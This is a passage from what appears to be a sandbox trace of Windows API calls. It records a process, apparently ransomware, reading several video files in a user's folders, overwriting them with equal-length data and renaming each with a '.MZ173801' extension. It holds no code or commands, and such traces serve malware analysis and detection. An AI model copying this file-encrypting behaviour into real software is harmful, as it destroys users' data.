returned 0x0 [0124.158] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.158] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xdd68 [0124.158] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.159] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0xdd68, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0xdd68, lpOverlapped=0x0) returned 1 [0124.160] CloseHandle (hObject=0x294) returned 1 [0124.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\JzuFB2BbxP4j_MByd_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\jzufb2bbxp4j_mbyd_.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.162] WriteFile (in: hFile=0x294, lpBuffer=0x72a8a0*, nNumberOfBytesToWrite=0xdd68, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x72a8a0*, lpNumberOfBytesWritten=0x18f404*=0xdd68, lpOverlapped=0x0) returned 1 [0124.164] CloseHandle (hObject=0x294) returned 1 [0124.245] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\JzuFB2BbxP4j_MByd_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\jzufb2bbxp4j_mbyd_.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\JzuFB2BbxP4j_MByd_.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\jzufb2bbxp4j_mbyd_.swf.mz173801")) returned 1 [0124.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\k0PNUdzxdD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\k0pnudzxdd.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.251] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.251] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.251] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x9685 [0124.251] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.251] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x9685, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x9685, lpOverlapped=0x0) returned 1 [0124.253] CloseHandle (hObject=0x294) returned 1 [0124.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\k0PNUdzxdD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\k0pnudzxdd.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.255] WriteFile (in: hFile=0x294, lpBuffer=0x7268a0*, nNumberOfBytesToWrite=0x9685, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7268a0*, lpNumberOfBytesWritten=0x18f404*=0x9685, lpOverlapped=0x0) returned 1 [0124.257] CloseHandle (hObject=0x294) returned 1 [0124.301] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\k0PNUdzxdD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\k0pnudzxdd.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\k0PNUdzxdD.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\k0pnudzxdd.mp4.mz173801")) returned 1 [0124.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\R1dT0aVk1wAxbSaiQA.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\r1dt0avk1waxbsaiqa.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.305] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.306] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.306] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x17fd3 [0124.306] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.306] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x17fd3, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x17fd3, lpOverlapped=0x0) returned 1 [0124.308] CloseHandle (hObject=0x294) returned 1 [0124.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\R1dT0aVk1wAxbSaiQA.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\r1dt0avk1waxbsaiqa.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.312] WriteFile (in: hFile=0x294, lpBuffer=0x7348a0*, nNumberOfBytesToWrite=0x17fd3, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7348a0*, lpNumberOfBytesWritten=0x18f404*=0x17fd3, lpOverlapped=0x0) returned 1 [0124.314] CloseHandle (hObject=0x294) returned 1 [0124.317] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\R1dT0aVk1wAxbSaiQA.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\r1dt0avk1waxbsaiqa.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\R1dT0aVk1wAxbSaiQA.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\r1dt0avk1waxbsaiqa.swf.mz173801")) returned 1 [0124.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\0xoM9tgOgJp-a4o.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\0xom9tgogjp-a4o.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.322] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.322] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.322] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xb480 [0124.322] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.322] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0xb480, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xb480, lpOverlapped=0x0) returned 1 [0124.324] CloseHandle (hObject=0x290) returned 1 [0124.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\0xoM9tgOgJp-a4o.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\0xom9tgogjp-a4o.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.326] WriteFile (in: hFile=0x290, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb480, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f6d0*=0xb480, lpOverlapped=0x0) returned 1 [0124.328] CloseHandle (hObject=0x290) returned 1 [0124.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\0xoM9tgOgJp-a4o.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\0xom9tgogjp-a4o.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\0xoM9tgOgJp-a4o.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\0xom9tgogjp-a4o.swf.mz173801")) returned 1 [0124.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\aY E87xE0aoNJW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\ay e87xe0aonjw.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.338] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.338] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.338] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xe291 [0124.338] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.338] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0xe291, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xe291, lpOverlapped=0x0) returned 1 [0124.340] CloseHandle (hObject=0x290) returned 1 [0124.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\aY E87xE0aoNJW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\ay e87xe0aonjw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.342] WriteFile (in: hFile=0x290, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xe291, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f6d0*=0xe291, lpOverlapped=0x0) returned 1 [0124.345] CloseHandle (hObject=0x290) returned 1 [0124.370] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\aY E87xE0aoNJW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\ay e87xe0aonjw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\aY E87xE0aoNJW.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\ay e87xe0aonjw.avi.mz173801")) returned 1 [0124.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\fe4HjsjTFXiQB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\fe4hjsjtfxiqb.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252dc0a0, ftCreationTime.dwHighDateTime=0x1d5d801, ftLastAccessTime.dwLowDateTime=0xc67d06d0, ftLastAccessTime.dwHighDateTime=0x1d5d830, ftLastWriteTime.dwLowDateTime=0xc67d06d0, ftLastWriteTime.dwHighDateTime=0x1d5d830, nFileSizeHigh=0x0, nFileSizeLow=0x180ad)) returned 1 [0124.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\fe4HjsjTFXiQB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\fe4hjsjtfxiqb.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.376] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.376] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.376] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x180ad [0124.377] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.377] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x180ad, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x180ad, lpOverlapped=0x0) returned 1 [0124.378] CloseHandle (hObject=0x290) returned 1 [0124.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\fe4HjsjTFXiQB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\fe4hjsjtfxiqb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.383] WriteFile (in: hFile=0x290, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x180ad, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f6d0*=0x180ad, lpOverlapped=0x0) returned 1 [0124.386] CloseHandle (hObject=0x290) returned 1 [0124.389] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\fe4HjsjTFXiQB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\fe4hjsjtfxiqb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\fe4HjsjTFXiQB.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\fe4hjsjtfxiqb.mp4.mz173801")) returned 1 [0124.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\uHEG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\uheg.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff58880, ftCreationTime.dwHighDateTime=0x1d5dd93, 